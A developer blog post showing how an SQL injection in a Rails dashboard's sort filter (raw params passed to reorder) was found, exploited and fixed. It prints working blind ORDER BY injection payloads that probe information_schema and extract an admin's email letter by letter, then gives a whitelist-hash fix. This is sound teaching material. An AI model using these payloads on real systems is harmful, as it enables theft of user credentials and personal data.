Security vulnerabilities – how to find and fix them

This article is about security vulnerabilities that can be found in many projects. Ignoring them can have terrible consequences for businesses. Hopefully, they are easy to fix. Here I described how I found a vulnerability, showed how it could be used for data extracting from the database, and fixed it with just one line of code.

During one of my tasks on the project, I worked on Dashboard improvements. Dashboard – it’s just the main page for users with different types of entities (showed by cards) and filters in the sidebar (search by keyword, order, filter by type).

Here is the HTML code of the Sort filter.

<select name="order_filter" id="order_filter" class="form-control custom-select">
  <option value="last_seen desc">Recent First</option>
  <option value="created desc">Date Created ⬇</option>
  <option value="created asc">Date Created ⬆</option>
  <option value="title asc">A-Z</option>
  <option value="title desc">Z-A</option>
</select>

Field name for ordering and order in one place with space between. Put your first thought that came to your mind in the comments. 😄

My first thought was, “Why does value look pretty similar to the SQL request part?”. I decided to take a deeper look into it and found that we definitely pass it as:

scope = scope.filter_results(keyword: @keyword, state_filter: @state_filter, order_filter: params[:order_filter])

where filter_results is just a concern method that calls state_filter and order_filter on model if it exists.

So, in model we just have this:

scope :keyword, -> (keyword) { where("title like ?", "%#{keyword}%") }
scope :state_filter, -> (state) { where( state: state ) }
scope :order_filter, -> (order_filter) { reorder(order_filter)} # <- IMPORTANT LINE

ActiveRecord::QueryMethods#reorder Replaces any existing order defined on the relation with the specified order. User.order(’email DESC’).reorder(‘id ASC’) # generated SQL has ‘ORDER BY id ASC’
Source: https://apidock.com/rails/ActiveRecord/QueryMethods/reorder

Hello! Let’s play with it a little. Firstly I decided to test the ability to pass different symbols into the query, and it works well.

I changed one of the HTML filter options to different column names and symbols like brackets, and it works well. So, we have the hole. Let’s put our finger into it.

So, how could it help us get some data from the table? We can do some condition and get the result which can be reflected in the order of the cards on the dashboard:

Do you remember this game from Tarantino’s Inglorious Bastards film? When guys put stickers with the name of some person onto their foreheads and trying to guess this person’s name by using only questions with answers “Yes” or “No.”

Useful construction for ORDER SQL injection is a:

(CASE WHEN condition THEN first_coumn_name ELSE second_column_name END)

or

SELECT IF (condition, first_column_name, second_column_name)

We just need to find a condition (as a question), and two column names to see the result and put it as ORDER BY value (like Yes and No answers).

What could we put into the condition part? Everything. Literally everything.

How about this?

SELECT IF ((SELECT count(*) FROM information_schema.columns 
WHERE COLUMN_NAME = 'is_admin' AND table_name = 'users' LIMIT 1)>0, 'YES', 'NO');

If we have is_admin column in users table it should return YES.

Let’s put in into query with column names for sorting:

(SELECT IF ((SELECT count(*) FROM information_schema.columns 
WHERE COLUMN_NAME = 'admin' AND table_name = 'users' LIMIT 1)>0, title, created_at))

The first card is Fundico, and the second is Area. There is no is_admin column in the users table. Let’s try just admin instead:

Here we go! Now we know that we have admin column in our users table.

P.S. The full query with injected code looks like this:

SELECT `table_1`.* FROM `table_1` WHERE `table_1`.`id` IN 
  (SELECT DISTINCT `table_2`.`deal_id` FROM `table_2` LEFT OUTER JOIN `team_members` 
    ON `team_members`.`cool_dude_id` = `table_2`.`id` 
    WHERE `table_2`.`state` != -1 AND (table_2.user_id=*** or team_members.user_id=***)) 
  ORDER BY (SELECT IF ((SELECT count(*) FROM information_schema.columns 
    WHERE COLUMN_NAME = 'admin' AND table_name = 'users' LIMIT 1)>0, title, created_at))

Let’s find the rest of the data by analogy. Firstly we need to find email of any admin user to get access to the system.

We could do this symbol by symbol using ASCII table:

We just need to paste all symbols one by one and look for a match:

SELECT IF ((SELECT ASCII(SUBSTRING(email, 1, 1)) FROM users where admin = true LIMIT 1)=105, title, created_at)

This query returns true if the first ASCII code of symbol in the email of the first admin equals 105 (I.e., the first symbol of email is i).

Then we go for the second symbol using ASCII(SUBSTRING(email, 2, 1)) and find all symbols one by one.

Conclusion

We could find any information using this hole like credentials of all users, phones, addresses, etc. Always be careful and try not to use strings for searches and filters in Rails.

Rails is well enough protected from vulnerabilities, but nothing can save you from your own mistakes.

Use wrappers, like hashes and arrays. Don’t use User.where(“name = ‘#{params[:name]'”).

Use User.where([“name = ?”, “#{params[:name]}”]) or User.where({ name: params[:name] }) instead.

This vulnerability can be fixed using just one line, for example:

ORDER_FILTERS = { title_asc: 'title asc', created_at_asc: 'created_at asc'}
scope = scope.filter_results(order_filter: ORDER_FILTERS[params[:order_filter]])